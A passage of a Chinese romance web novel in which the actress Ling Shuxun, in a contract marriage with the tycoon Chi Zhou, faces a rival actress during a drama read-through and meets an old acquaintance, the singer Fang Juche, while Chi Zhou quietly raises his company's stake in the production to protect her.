凌书寻提着裹在胸前的浴巾,兴冲冲的小跑下楼。
偌大的客厅里,疏落有致的摆放着大小高度不一的衣架,上面还立着不同的品牌logo,都是她不舍得买的国际大牌。颜色、款式各异的服装挂在上面,各种风格的上下装都被精心搭配好。
凌书寻只打眼一看,就发现都是各家当季的新款。足足有几十件。
她缓步走近,抚摸这些美丽的衣料。
迟昼则跟在她后面,神情淡然地走下来,每个步履都那么慢条斯理,好像从没有
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什么波动。
他坐回沙发,撑着额头看她。
不过一些衣物而已,她竟然能如此开心。迟昼心想,凌书寻到底也是不能免俗的女人。
不过看到她能露出笑容,迟昼觉得倒也不错。
他已经很久都没有体会过,这样简单用钱就能得到的快乐。自小优渥的物质生活,让他无论想要什么,几乎都能得到。
尤其是在母亲去世后,也许是为了补偿,迟擎苍给他的钱永远没有花完的时候。哪怕是跟着自己的佣人,出手也足够阔绰,每当迟昼多看了任何物品一眼,它也会在第二天出现在他眼前。
却从没有人问他,喜不喜欢。
“太多了,不可能试的完。”凌书寻套了一件M家的丝织物连衣裙,丝绸的面料搭配流苏花边,刚刚没过腿根。
迟昼这才注意到,她还光脚踩在地上,然而在这件白色的裙子下,她的双腿依然匀称修长。
“那就都收起来吧,它们是你的了。”
“这么多,你全买了?”凌书寻愣了一下,还是不由自主的染上笑意。
她想凑到迟昼身边坐下才发现,柔软的皮革上面,还残留着他们许多温存的印记。
而他的脖颈间,也有她留下的瑰色吻痕。
凌书寻有些不好意思,担心明天周姨来了会看到,想着等会一定要叫着迟昼先处理一下“案发现场”。
她轻咳一声,双腿蜷在沙发,轻轻歪向迟昼身上:“谢谢你迟昼,我很喜欢。不过太多了,穿不过来的。”
顿了顿,才继续说道:“而且,我和你发生关系,并不是为了这些……”
她的脸颊上又飘起一丝红晕,声音也逐渐微不可闻。
可迟昼还是听到了。
他侧过脸。
凌书寻的脑袋正搭在他肩上。她眸子如水雾一般,氤氲着视线,不知看向前面的何方。
迟昼的喉结滚动几下,那个萦绕他许久的问题又涌到嘴边。
“凌书寻。”
他甚少叫她的名字。
凌书寻听到他的声音,那样低醇而磁性。她心脏猛的跳动一下,下一秒却不自知的坐直身体,撇头看他。
“我想增加一条补充协议。”迟昼接住她的目光。
“你说。”
迟昼的眼神还是那么沉静,如一块清泉墨石,看不出温度和悲喜。
凌书寻倒开始有些不安起来,她猜不到他想说什么。
是他想要终止这场荒唐的协议婚姻,还是告诉她另有义务?
那他送的这些衣服,是不是谈判的筹码?
他在把她当什么。
凌书寻的眼底闪过一丝落寞,决定权握在迟昼的手里,而她过于看好这段关系。
此刻,迟昼的胸腔也有一场她听不到的海啸,席卷着他的心脏,让他连说出口的话都带着不确定性。这根本就不像他。
在商场上都雷厉风行惯了的人,此时却为了一刻欢愉,征求一个女人的意见。
他重新凝起落在她脸上的目光:“每周做一次。”
凌书寻愣了一下,瞳孔都在摇晃:“什么?”
迟昼重复道:“我们每周做一次。”
“不止扶光,你想要的任何资源,我都会给你。”
15.剧本围读
周一。
薛涵按照凌书寻发的地址来接她。
“乖乖,这就是迟总的别墅啊。”薛涵接过凌书寻的行李,两人一前一后穿过别墅门前的小院。
凌书寻笑了笑:“你羡慕了?”
薛涵把行李提到车上,摇摇头:“还羡慕?这么漂亮又死贵的房子,我梦都不敢梦。”
她打开车门,系上安全带后撇过头看着凌书寻,欲言又止。
“有话就说。”
薛涵咽了口唾沫,小心翼翼地问:“你和迟总这是同居了?”
凌书寻听完脸色泛红,目光看向窗外那栋白色的北欧风别墅。在初夏的晨光里,别墅前院青绿的草坪上铺着宽厚的石阶板,延伸到深棕色的大门,像一幅ins上的风景照片。
“不算同居,我们两个一人一间房。”
“那你们两个是……”薛涵没有说完后面的话,发动了汽车。
“是合作伙伴。”凌书寻看向薛涵的表情满是肯定,垂眸沉默一息,又叮嘱道:“你在公司里可千万不要乱说。”
“我的乖乖,公司里谁敢议论集团大老板?工作不想要了!”薛涵边开车边说,表情带着一点夸张,“而且大部分人都不知道,公司签你是迟总的意思。只有柴少杰、白姐这种领导层面的才知道,但是也不敢乱猜。”
她又突然意识到什么:“迟总早上没出来送你?”
“他好像一早就去上班了。”
“果然是工作狂。你家迟总还真是名不虚传,有能力还卷,你说气人不。”薛涵无奈摇头叹息。
凌书寻立刻反驳:“他也是我老板,注意你的言辞。”
薛涵看着前方笑起来,接着话锋一转提醒她:“生活用品都带全了?这次剧本围读完以后还要拍定妆照,估计要一周时间。”
“都准备好了。”
拿到扶光影视投资的《烈焰》女二号角色后,凌书寻并没有去过剧组试镜,这次的剧本围读也是第一次和导演编剧见面,心里还是有点紧张的。
之前听经纪人白明芳说,导演看过她的照片还算满意,与他理想中的选角偏差不大。
凌书寻混迹片场这么久,自然也明白,不过是个女二号而已,只要形象不错,演技上没有太拖后腿,没有多少人在意。
当下的剧组生态环境就是如此,所有的目光只集中在男女主角身上,男二女二号几乎都是没什么作品和背景的新人,没有粉丝、没有营销,自然不能抢走男女主的风头。
当然也有配角靠天时地利人和出彩,可是杀出一条血路的同时,也就等同于得罪了男女主角的粉丝群体,又免不了要遭受一阵腥风血雨。
《烈焰》的选角虽然已经尘埃落定,但尚未发布官宣微博。
导演的意思是,想专心完善好剧本,暂时不想被外界媒体等曝光窥探,等参加完剧本围读拍完定妆照一起发布。
薛涵絮絮叨叨的说完,剧组定的酒店也出现在凌书寻的视线里。
把车停到地下车库后,两人走向电梯间。
这座星级酒店的电梯间也是独立大堂设计,铺满了漂亮的大理石,顶部有一盏水晶吊灯,向下打着暖黄而被切割的细碎的灯光,倒是别有一番风味。
等电梯的功夫,薛涵又附耳过去:“你和林露演的《三年》现在不是在上映吗,你知不知道票房怎么样?”
凌书寻诚实的摇摇头。
她只是这部电影里一个镶边的小角色,电影成功与否几乎不都与她无关,拿到属于自己那点微薄的片酬以后,片方与她都默认割席。
薛涵的表情带着一点幸灾乐祸的味道,悄声告诉她:“可以说扑了!上映大半个月,票房还不到五千万。”
凌书寻也有所预料。
很多人都觉得爱情片、小妞电影很简单,但实际想拍好却并不容易,观众的审美和观念都在提高,传统的叙事结构和矫情造作的剧情早就被观众所厌烦,每年扑掉的片子不计其数。
何况在拿到《三年》剧本的时候她就不怎么喜欢这部影片,不过出于片酬考虑,她依然秉持着自己的职业素养,尽力诠释好一个小角色。
“那我等会得少惹林露了。”
“嗯,你离她远点。”薛涵深表同意,“我看网上有不少影评人都在批评这部片子,连带着她的演技也被审判。”
电梯“叮”的一声停在22楼,金色的梯门开启。
剧组包了22层的半层房间和一个小型的会议室,导演为了让主创们更好的增进感情和理解剧本,安排所有参与剧本围读的人都同吃同住,进行半封闭式的管理。
薛涵帮凌书寻把行李送进套间,又跟着去会议室。
门口,站着一个挂着剧组工作牌的女孩,手里还拿着几份剧本。
女孩认出了她:“您是演‘肖婉’的凌老师吗?”
凌书寻友好的伸出手:“你好,是我。”
女孩笑着递上剧本,帮她推开沉重的木门:“请进吧,导演已经在里面了。”
会议室里多余的桌椅已经被清掉了,现场只剩一条长桌,中央放着鲜花和果切,十几把椅子围成一圈,零零散散的坐了几个人。
薛涵贴近凌书寻耳畔,悄悄介绍:“最中间位置的这个男人就是导演陈立辉,他左边的那个女人是总编剧。”
女主角林露和男主角还没有来。现场的人除了凌书寻和男二以外,没有其他演员。
简单打过招呼后,凌书寻坐到了贴着自己名字的椅子上,低头开始翻阅剧本。
看着看着,她眉心开始蹙起,前两集的戏份,似乎被删改了。
其实在来之前,凌书寻就已经看过薛涵发给自己的剧本。
《烈焰》是一部民国剧,讲述的是平民出身的男女主携手参加革.命的故事。她饰演的女二号肖婉是一个富商家的大小姐,爱慕男主角,并追随他参加革命,在半途中为了掩护男女主逃亡而牺牲。
肖婉和男主是青梅竹马,原本前面几集刻画两人关系的戏份比较多,而今天手里的这本却做了修改,甚至有几场戏直接嫁接给了女主。
难道是林露的要求?
凌书寻还没来得及细想,她身后会议室的木门再次被打开,女助理的声音从外面传进来——
“林露老师和范皓宇老师到了!”
原本坐在椅子上的主创们全部抬头,看向凌书寻的身后。
“露露,皓宇,快来坐!”导演热情地招呼二人,示意林露坐到自己身边的空椅,“露露今天特别有港风美人那味儿,太漂亮了!”
林露散着卷发,穿一件火红的长裙,听到导演的夸赞后心情极好,步态妖娆又轻快的走过去。身后的助理先小跑过去,殷勤地替她
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擦过椅子后又垫上一个软垫,林露才坐下。
“陈导,可有段时间不见了。”她客套的笑着,随后抬眸扫视全场。
不出意外的,她的目光在凌书寻的身上停留下来,脸色微不可查的凝了一瞬。
“露姐,又见面了。”凌书寻似有感应一般,从剧本上抬起头,迎接着她的视线。
“还真是你。”林露冷哼一声,侧过头去看向导演,娇嗔道:“陈导,你现在选人的眼光可不如从前了哦。”
陈导打着哈哈:“嗐,我哪有空管这些小配角的选角,都是副导他们选的。说是扶光的人,当卖个人情。”
趁林露不注意,他看向凌书寻使了个眼色。
凌书寻勾起唇角,只再次看向手中的剧本。
陈导又装作忙碌的问身后的助理:“音乐公司那边说什么时候派人来了吗?”
“那边说要明天才能过来。”
陈导点头,清了清嗓子:“既然主演们都齐了,那咱们开始吧。”
-
很快轮到凌书寻和男主角范皓宇的对手戏。
这场戏是“肖婉”在对“袁怀安”进行了长久的默默付出后,第一次鼓起勇气却又委婉地表露心迹。
凌书寻低头看剧本,清晰的声音里带着肖婉的脆弱和倔强:“我不是要你回报什么。我只是觉得,有些话再不说,可能就永远没有机会了。”
她顿了顿,深吸一口气才接着念台词:“还是……我在你眼里从没有过机会。”
范皓宇语气温和却带着疏离:“肖婉,我们走的不是同一条路。”
他台词处理的很得体,导演在一旁微微点头,似乎在对这段演绎表示认可。
就在这时,林露忽然轻笑一声。
声音不大,但在刚刚结束对白的安静的会议室里,却显得格外清晰。
所有人的目光下意识看向她,包括凌书寻。
林露仿佛才意识到自己的失态,掩了掩嘴,眼神却瞟向凌书寻,语气里带着一丝故作天真的惊讶:“呀,书寻这段台词念得真好,这股委屈劲拿捏的真准。”
她的嘴角弯起一个意味不明的弧度,“平时私下里,是不是经常练习这种‘爱而不得’的戏码?毕竟在演戏角色上,一直只能做配,想来你应该有所共鸣。”
话音落下,整个会议室的空气都凝固了几分。
几个工作人员面面相觑,眼神交换,却没人敢接话。
凌书寻握着剧本的手微微收紧,但她看向林露的眼神却没有怒意,只是露出一抹极淡的微笑。
“露姐说得对,演员确实需要观察和共情,不过——”她话轻轻锋一转,目光清亮,“能把‘爱而不得’演得让人心疼,总比把‘得天独厚’演得让人反感……要难一点,对吗?”
她这话回的轻巧,却瞬间把林露的矛头挡了回去。
饰演男主角的范皓宇闻言,侧目看了凌书寻一眼,眼底闪过一丝惊讶和欣赏。他没想到她会这么直接又不失体面的怼回去。
林露脸上的笑容顿时有点挂不住,眼神更冷了几分。
“好了好了,”陈导适时地咳嗽两声,出来打圆场,“继续继续,下一场是谁?”
凌书寻垂下眼,仿佛什么都没有发生过。
但她看不到的身后的薛涵,悄悄编辑了一条短信,点下了发送。
16.敲打
每周一是迟翡集团的高管例会。
高层专用的会议室里,中央是一条宽且长的北美黑胡桃木桌,中间金色的装饰上摆放着新鲜的桌花。进口的马蹄莲、风铃草、火焰兰等花材,错落有致的插在深绿色的花泥,既不喧宾夺主又分外雅致。
两侧坐满迟翡集团高管及各个子公司负责人,鸦羽一般的黑色西装,看上去黑漆漆一片。
平时集团的周例会一般由特助钟俊代为主持,迟昼只是坐在主位聆听其他高管的汇报。
而今天还是每月初的行政会议,自从迟昼掌权后会亲自主讲,故而气氛变得格外严肃。
当会议室墙壁上的钟表时针指向九点,行政人员推开深色的木门,一身黑色手工定制西装的迟昼走了进来,特助和秘书跟在身后。
迟昼进门的霎那,全部高管都瞬间起身颔首。
“今天,各负责人把下季度的预算和目标一一汇报清楚。”迟昼坐在桌头的那张黑色真皮座椅,锐利的目光扫视一圈,“从谁开始?”
柴少杰坐的位置,几乎是离迟昼最远的,可当他那鹰隼一般的眼神看过来时,仍不免瑟缩了一下。
过去迟擎苍还在出席迟翡例会的时候,柴少杰几乎是连汇报的资格都没有的,只需要向集团CFO提报关于扶光影视的季度计划,再根据指示来安排手底下的人做调整,一直以来倒也混得过去。
而如今迟昼决意要整顿他负责的扶光,柴少杰始终都悬着一颗心。
“柴总监,请您先汇报。”
冷不丁的,钟俊提到他的名字。
柴少杰本来还在思索着什么,被点名后一个激灵,还没反应过来的时候,行政人员已经在屏幕上投出了他的PPT,纸质的报告已经递在了迟昼的手里。
咽了口唾沫,他硬着头皮站起来:
“……扶光影视下季度全力冲击市场占有率前三,实现业绩环比增长150%。”
“目前,我们缺少的是一部现象级爆剧,当然这也是需要巨额投入的‘S+’大制作,同时顶级公关团队的维护和市场推广,也占据了预算的一大部分比例。”
“……未来,扶光还要继续引入新鲜的血液,根据市场的反馈来调整战略方向。”
磕磕巴巴地说完,柴少杰的背部几乎已经被汗水浸湿,衬衫贴在后面又粘又腻。他偷偷打量迟昼一眼,见他表情一如往常一样冷淡,提着的心才悄悄放下一些。
其他高管简明扼要的汇报后,迟昼不时点拨几句,在场的所有人也都颇有启发,内心敬佩又多了几分。
午时,在迟昼亲口说完散会,会议室内的人群才逐渐散去。只剩主位上神色从容莫变的迟昼,和正准备混在人堆里溜走的柴少杰。
“柴总监。”迟昼冰冷的声音并不高,却像是一道栏杆,瞬间挡住了柴少杰的脚步。
柴少杰全身一怔,脸上又立刻堆出谄媚的笑,转身:“迟总,您还有什么指示?”
迟昼没有看他,而是落在手上扶光影视那份花哨的预算报告上。
他骨节清晰的手指慢条斯理地敲击在纸张,发出沉闷的响声。每一下,都让柴少杰的心更往下坠落一次。
“下季度业绩增长150%?”迟昼终于抬眼,看向佝偻在自己旁边的柴少杰,眼神泛着冷意,“靠什么?”
“你报告里那个‘S+’的大制作,连个像样的计划书都没有,就敢开口要占总预算的40%?”
柴少杰的额头再次渗出细密的冷汗:“迟总,这个……正在谈,已经有几个顶流艺人都展现出了兴趣……”
“呵,”迟昼轻笑一声打断了他,语气依旧平淡,却如一把把冰刀,“用集团的钱,去赌一个‘感兴趣’?”
他把报告翻到营销预算那页,“还有这笔新媒体推广费用,同比上涨200%。依据是什么,预期转化率是多少,只字未提。钱,倒是要得干脆。”
迟昼将报告轻轻扔回桌上,身体向后靠近椅背,双腿交叠。整个人都更加疏离而具有压迫感。
“扶光这几年流失了多少核心艺人,折了多少项目,我想你比我清楚。不想着如何修复根基,倒是把画饼和烧钱的本事,练得炉火纯青。”
柴少杰的脸色由红转白,嘴唇颤抖着辩解道:“迟总,我这也是想快速提振……”
“我要的是实打实的业绩,不是纸面上的文字游戏,更不是某些人的无底洞。”迟昼的声音骤然转冷,冰锥一般的目光刺向柴少杰,“迟翡的每一分钱,都要让我看到它的用处。明白了吗?”
最后四个字,他咬的极重。
听到迟昼的警告,柴少杰浑身一凛,立刻点头如捣蒜:“明白,明白!迟总,我立刻回去修改方案!”
迟昼收回目光,刚想让他出去,桌上的手机忽然轻微的震动一下。
他看过短信后沉吟一瞬,重新掀起眼帘:“扶光给《烈焰》投资了多少?”
“3500万左右,28%比例。”柴少杰恭敬的回答。
“另外的主投资方呢?”
“是音极娱乐,投资占据35%。剩下的都是些小门小户。”
迟昼没再言语,视线又落回手机屏幕,只挥手让他出去。
柴少杰如蒙大赦,几乎是弓着腰,快步退出了会议室。
木门缓缓合上,室内又恢复了寂静,窗外明亮的阳光透进来,切散了沉闷的空气。
迟昼没有回复,熄灭手机屏幕后,看向钟俊:“上次让你查的那个经纪人,怎么样了?”
“白明芳在扶光待了近十年,从底层做起,一路成为金牌经纪人,业务能力突出,带出过不少艺人。其中不乏有离开扶光后也想把她挖走的,但是白明芳一直都很忠诚。”
“而且她也没有参与柴少杰的那些事,所以两人一直不算和睦。柴少杰明里暗里也给她下了不少绊子。”钟俊看了一眼迟昼的神色,继续补充道:“让她做凌小姐的经纪人,估计也是柴少杰挖的坑。”
迟昼的目光落在窗外鳞次栉比的写字楼上,眼神深邃。
他清楚,柴少杰这个人,心思不正,能力有限,早就不堪大用。
刚刚的一番敲打,也不过是暂时勒住了他肆意妄为的缰绳而已。但要重整扶光,需要一个真正懂行且有魄力的人,做到真正的刮骨疗毒。
-
在酒店餐厅用过午饭后,大家各自回房休息片刻,又投身围读之中。
凌书寻和林露没有多少直接的
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对手戏,两人大部分都是和男主角范皓宇的戏份。
当所有人都又沉浸在剧情里时,大门被推开。
“抱歉,我来晚了。”
背对着大门的凌书寻,并不知道来人是谁,只是觉得这声音有点耳熟。清冽澄澈,又干净温和。
“哎呀,方老师!欢迎欢迎,快请坐!”导演的脸上再次露出惊喜的表情,又对着身后的助理招呼道,“快给方老师拿一把椅子过来!”
闻声,凌书寻抬起头,看到方居澈正从门口走进来,身后还跟着一男一女两个人。
似乎是感应到了她的目光,方居澈微微侧过头,对上了她的视线,嘴角浮现起一个恬淡的笑意:“书寻,你也在。”
“方老师。”凌书寻抬手打招呼。
“导演,这还有个空位,我坐这里吧。”方居澈停住脚步,指了指凌书寻身边的一把空椅子。
“余汐,你也找个位置坐。”他对身边的女孩说。
凌书寻还在恍神的功夫,方居澈已经来到她的身边落座,一股淡淡的青草香气裹挟在空气里。
导演带头起身:“大家欢迎一下我们的顶流歌手方居澈老师和他的师妹余汐!”
“方老师是我们《烈焰》的音乐总监兼主题曲演唱,今天来和我们一起参与剧本围读,为的是能更深入了解我们这部戏。”
大家鼓掌过后,导演继续说:“方老师,要不还是坐在我和编剧这里,讲起戏来方便,也能让你们更深入理解我们这部剧的情感。”
方居澈还是微笑:“我就坐在这里吧,正好能和书寻叙叙旧。”
导演和林露不约而同地看向凌书寻,心里都在奇怪,两人竟然是旧相识。
而此时更讶异的是凌书寻,她没有在意方居澈,而是定定地看向他的师妹。
余汐也意识到这位故人的视线,她坐在导演侧后方后,抬头看向凌书寻,带着浅浅的微笑。
这一刻,凌书寻想起大四那年。
学校早已没什么课业,她便陪着朋友参加了一档选秀。朋友被淘汰的很早,凌书寻却阴差阳错的进了前八强。
八进四的那一场比赛,对手正是余汐。
选秀节目的门道多,比到最后拼的早已不是实力,而是各自的家境和背后公司的资本运作。
彼时的凌书寻不过是个学生,虽有公司向她抛出过橄榄枝,可是戴择却劝说她等毕业再考虑签约。凌书寻也听从了他的建议,继续一个人向前。
这场关键的比赛上,节目组给凌书寻选择了她不擅长的快歌,美其名曰“突破自我”。
而余汐本就是专业的音乐学院出身,实力强劲,又早已签约公司,几乎是内定的四强。
凌书寻虽败北,却因为生得漂亮,在网络上靠颜值小火出圈。毕业后以演员的身份,签约了一家影视公司。最终因为公司的规划、自己的抉择,而度过了越来越糊的三年。
身旁的方居澈低头在剧本上写些什么,浓密的睫毛垂下,目光专注而安静。
凌书寻的耳边又回响起在西南小镇时,暴雨前的那个夜晚,他问的那句话:“我们是不是早就见过?”
是的,她想起来了。
他们早就见过。
17.戏台
晚间,剧组定了酒店的包间。
一张很大的红木圆桌立在中心,铺着米白色暗纹编织桌布;玻璃转盘中央摆放着一方青瓷盘,盘中浅水里立着一个小小的假山石,绿枝写景的中式插花,分外有格调。
十数把实木椅子围桌而排,主位自然是导演,落座时硬拉着林露和方居澈坐在自己两侧。
凌书寻则坐在林露左边,和她间隔了两个人。
看得出来,请到方居澈作为《烈焰》的音乐监制,导演也极为高兴,毕竟鲜少有顶流愿意唱OST,更何况是作为监制,为一部剧倾尽心血。
方居澈一直保持着礼貌而温和的笑意,话语虽并不多却言辞真诚。
“我也是第一次担当电视剧的音乐监制,其实这次也是和大家一起学习。”他停下来看了看身侧的余汐,“同时,也想让我师妹积累些不一样的经验,对她以后在乐坛发展总归是有益的。”
凌书寻后来虽没有特别关注过余汐,但也知道她在选秀节目里以第三名出道后,一直不温不火。有一两首传唱度比较高的歌曲,竟然都是方居澈写的,也为此落得了一个歌红人不红的尴尬境地。
在偷偷查阅过余汐这几年的发展情况后,凌书寻不免感叹,方居澈真是才华横溢,为别人写的歌也都那么好听。
内心对他的敬仰都又多了几分。
这场宴席,几乎就是导演、方居澈、林露、范皓宇四个人的戏台子,其他人再不时恭维几声。
凌书寻向来不喜欢这样的交际场合,各怀心思、虚与委蛇,每个人都带着一张虚假的面具。更何况她一吭声十有八九会被林露阴阳,还不如自己多吃几口喜欢的菜系。
结束时,已过十点。
乘电梯回到22层,她慢吞吞的跟在最后面,看着大家挥手、进入自己的房间,壁灯下的人影渐渐稀疏。
最后,她走到自己房间门口,从包里掏出房卡。
“书寻。”
她抬头寻向声音的方向。
斜后方,方居澈不知何时又回到了走廊里,门前小小的顶灯照射下暖黄的光,落在他白色的T恤上。
宽敞空荡的走廊里,只剩她和方居澈两人。
“方老师。”她的脸上重新挂起笑容。
“一直没来得及跟你说话,现在终于得空了。”方居澈笑笑,“我听说这家酒店的吧台很有特色,要不要一起去喝一杯?”
脚下软绵绵的,凌书寻低下头看。整条走廊里都铺着厚实的暗红色地毯,延伸在脚下,以及,自己的思绪。
“鞋子不舒服吗?”
凌书寻回过神,再次看向他,否认,“不是。”
倏而,她的唇角又翘起一个曼妙的弧度,手指摸摸鼻子:“简直倒翻天罡,应该是我邀请方老师才对。”
方居澈莞尔;“那,走吧。”
“等等,”刚准备迈步,凌书寻忽然想到,他是顶流歌星,太容易被认出来,“方老师,你要不要带个口罩?”
他从水洗蓝牛仔裤的口袋里抽出一个黑色的口罩,板板正正的戴上;“这下可以了吧。”
-
酒吧位于酒店的最顶层。
刚一踏出电梯,凌书寻就感受到了微凉的晚风和jazz的旋律,脚下铺设着深色的柚木地板。吧台由一整块深色大理石打造,后方墙壁摆满了琳琅的酒瓶。
室内的空间被巧妙的分割成数个区域,由墨绿的绒面沙发、皮质扶手椅和木质茶几组合而成;精心修剪的绿植墙穿插其中,周到的保护着客人的隐私。
凌书寻要了杯金汤力,方居澈是一杯莫吉托。
两人坐在吧台前,看穿着白衬衫黑马甲,系着领结的调酒师娴熟地摇晃着雪克杯,冰块与金属碰撞出清脆的声响。
方居澈微微撇过头。
面前有一盏小巧的复古煤油灯样式的台灯,散发出暖黄的光晕,柔和的照亮凌书寻的脸庞。
“第三次。”
他忽然说道。
“嗯?”凌书寻本一时没反应过来,看着方居澈微闪的目光,她又明白了他的意思。
“还是方老师的脑子好用,没想到三年前的一面之缘都会记得。”
“你也记起来了。”
尽管他带着宽大的口罩,但凌书寻很确信,他一定又在笑,那双外翘的丹凤眼弯弯的,语气像一朵轻柔的羽绒。
三年前,方居澈在歌坛也不过是一个新人,与如今顶流的地位天差地别。
在凌书寻对阵余汐的那场比赛,他就在现场台下,为他的师妹加油。
“可是当时不知道,三年后的方老师是歌坛顶流,不然说什么都要跟你合照要签名!”她从酒保手里接过自己的金汤力。
当比赛结束,凌书寻和余汐在后台告别时,方居澈就在旁边。两人轻轻握了握手,没有说一句话。
“嗯——我觉得主要原因是你男朋友催的比较急。”
方居澈捏着口罩向下颌一拉,拿起酒杯啜了一口,又看向她笑起来。
凌书寻尴尬一笑,“哈哈,这个嘛……都是过去式了,不提也罢。”
那时她和戴择也刚在一起没多久,他从一开始就并不想让凌书寻参加节目。她被淘汰后,后台的戴择牵起她的手离开。
“你们不在一起了。”看到她的样子,方居澈语气很笃定。
凌书寻点点头。
方居澈举起酒杯在她脸前晃晃,“而现在,你的事业好起来了,值得庆祝。碰一个?”
看着他和煦的笑容,凌书寻觉得自己的心像被那朵羽绒触了一下,唇角也漾开一个小梨涡,提起自己的杯子碰了上去。
玻璃杯壁撞击,发出一声清脆的嗡鸣,遮掩了旁边绿植墙后面,快门按下的声音。
窗外,是一个极大的露台,望过去的视野几乎没有边界。
“方老师,我们去外面看看吧。”凌书寻提议。
“好。”
透过玻璃凭栏远眺,整座北城的城市脉络都在脚下铺陈。纵横的街道似一条条流动的光河,车灯如萤火,川流不息。
她的眼睛此刻已经被各色霓虹填满,忍不住赞叹:“方老师你看,好漂亮。”
方居澈的目光落在她身上,“嗯,很漂亮。”
两人心照不宣,想尽力捕捉这一瞬的光景。
下一秒,一阵手机铃声打断了这一刻的美好。
余汐的声音透过听筒传来:“哥,你不在房间?去哪了?”
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“我在楼顶酒吧。”
“和谁?”电话里的人顿了顿,“凌书寻?”
“对。”见她回头看向自己,方居澈敛了敛眉眼,继续说:“这里景色很好,你要来吗?”
“我马上过去。”
没几分钟,余汐就出现在酒吧里。她换了一身橙色的连衣裙,视线环视,最终落在方居澈身上。
“哥,来喝酒怎么不叫我。”她的语气里带着一点撒娇的意味,又转头看向凌书寻,打了个招呼:“嗨。”
凌书寻示意酒保拿来菜单,递给余汐;“怪我,请你喝一杯赔罪。”
余汐看着菜单,随口问道:“你们关系居然这么好?”
方居澈:“前段时间一起参加了个综艺,才重新认识的。”
余汐点完后把菜单交还给酒保,视线重新落在方居澈身上,才意识到他整张脸都暴露在了灯光下。她立刻抬手,捏住他皱缩在下颌的口罩,帮他提到了鼻梁上方。
方居澈哭笑不得:“这样我怎么喝酒?”
“喝完一口就带好,被人认出来就麻烦了。”
凌书寻笑着看向二人。
楼顶的风格外大些,吹起余汐的裙摆,晃动着不同的形状,如同一片黄昏。
-
深夜的迟翡大厦,只有寥寥数层还亮着灯。
迟昼走出办公室,已经临近夜晚十一点,整个顶层明亮而空旷,却只有他一人。
开着那辆银灰色法拉利回别墅的路上,要经过旗下丽翡酒店所在的街道。薛涵早已经把行程告知过他,凌书寻此时正在里面工作。
路过酒店富丽堂皇的大门,迟昼不觉放慢了车速。
没由来的,他想起白天那条短信。
她明明也是带资进组,但被另一位女演员当众讥讽;导演从开始就在拉偏架,嘴上说着“卖扶光一个面子”。
迟昼双手搭在方向盘上,看向窗外的眸色深了些许。他迟翡集团下的项目和人,从什么时候开始,被这般小瞧。
笼罩在黑夜里的流线渐渐驶过酒店,只是速度越来越慢,最终完全停泊在路边。
迟疑一瞬,他拨通钟俊的电话:
“通知扶光的财务和项目部,以‘看好项目长期价值,提升制作规格’为由,向《烈焰》项目组提出追加投资。比例提高到——”他略一沉吟,“百分之四十。”
“要求拿到联合出品方署名,以及相应的话语权。”
电话那头的钟俊瞬间了然。
追加投资、提升占比只是表面,借此契机将扶光影视的手更深地插入项目内部,获得干预剧组事务的权力才是真。
有了这份“话语权”,很多事情就会变得不一样。比如,确保某些演员不会再被无故刁难,甚至,还会影响到后续的宣传资源。
“明白,迟总。我立刻去办。”
“还有,”迟昼又淡淡补充了一句,视线重新落回方向盘上,“让新的负责人跟进这件事。告诉她,扶光的人,在外面代表的是整个迟翡集团的脸面。”
平淡无波的语气,仿佛只是随口一提。但钟俊看不到他此刻的眼神。
锐利而冰冷。
无声的宣告着,谁才是这场资本游戏规则的制定者。
18.热搜
翌日,天气晴朗。
夏日晨光和煦,透过酒店餐厅落地玻璃和柔白的窗纱,落在凌书寻面前的餐盘,照的煎蛋与吐司清亮诱人。
用完早饭后,她和薛涵直接就去了剧组所在的会议室。
林露和范皓宇等人还没来,只有导演编剧一行,以及另外几个凌书寻没见过的人,正坐在一起小声商量着什么。
见她推门进来,导演立刻抬头,脸上挂着热情洋溢的笑容:“书寻,快来!还没看过新剧本吧,刚调整完的,过来瞧瞧。”
又改剧本?
凌书寻当即心下一沉,连眉间也不自觉地蹙起。就算林露的公司投资最多,也不能按照她的想法一天改一次剧本吧,其他主创之前的研读岂不是全都白费了。
导演看她脸色微变,也顿了一下,随即便敛了敛神情,起身走向她。
“这次增加了一些你的戏份。”他把自己手里的剧本塞到凌书寻手里,又给她翻到了增加场次的那几页,“看看满不满意?觉得哪里有问题,再跟我和编剧说。”
凌书寻疑惑地翻阅剧本。
前几集那些被删减的戏份一丝不落的又改了回来,十到二十集中间增加了六场,连牺牲的那一场都增添上了更多的细节,让肖婉整个人都更悲戚、丰满起来。
她心下动容,目光微闪,一时没有说话。
“来,先坐。”导演轻拍她的肩膀,带着她坐到了编剧旁边的椅子。
凌书寻满心疑惑,自己就睡了一觉,剧组里到底发生了什么?不仅连夜改剧本,连导演都像是换了一个人!昨天还对自己爱答不理,今天却表现的像自己让他高攀不起。
“陈导,这是怎么回事?”她合上手里的剧本,抬眼打量一圈,发现整个房间的人都在看着自己。
艳羡,平静,疲累,好奇,不甘……各种各样的,混杂着太多她不能理解的眼神。
而她身侧的总编剧姜雪萍,眼底是淡淡的乌青,脸色苍白不堪,正平静地看着她手中的剧本。
凌书寻看到她的脸色一惊,语气关切:“姜总编剧,身体不舒服吗,要不要去休息一下?”
导演身旁的一个中年女人开口:“她昨晚通宵改剧本,几乎没睡。你要是对新改的这几场戏还满意的话,我就让她去休息。”
“这是制片人。”薛涵悄悄凑到凌书寻耳边,帮她介绍。
凌书寻那原本温婉的眉眼再次蹙起,制片人的话让她心中有些不快。
一个尚未开拍的剧本而已,并不着急使用,何必要折腾编剧连夜修改。
甚至在改完以后,把还把“生杀大权”交到毫不知情的自己的手里,将她架到了一条不该有的钢索上。
她站在上面摇摇晃晃,似乎无论她同意与否,都变成了那个命人彻夜改剧本的恶人。
唇角微张,还未来得及说话,会议室的门再度被推开,林露不满的声音传进耳中——
“导演,听说剧本又改了,怎么回事?”
脚步声粗重而凌乱,而它的主人此刻怒气冲冲。
“哎呀露露,你来的可够早的,我正要派人去找你呢。”导演在座位上抬头看向林露,脸上笑眯眯的,额角却开始冒冷汗。
林露快步过来,一把夺过凌书寻手里的剧本,手指飞速翻阅着白色的剧本,纸张发出清脆的响声。
“谁让改的?”她腕间用力,把剧本甩到了导演手里,盯着他的眼睛一眨不眨。长发从肩后散落在脸侧,挡住了部分光线,显得她的面色越发阴冷。
导演叹口气,先向制片人投去了一个眼神,才又看着林露缓缓说道:“露露,其实上次你让改剧本后,有些地方就不太合理,我和制片人、编剧商量过后,觉得还是现在这样好些。”
“而且,我们也要平衡书寻的戏份不是?毕竟扶光现在追加了投资,占比百分之四十,我们不能怠慢这个联合出品人。”
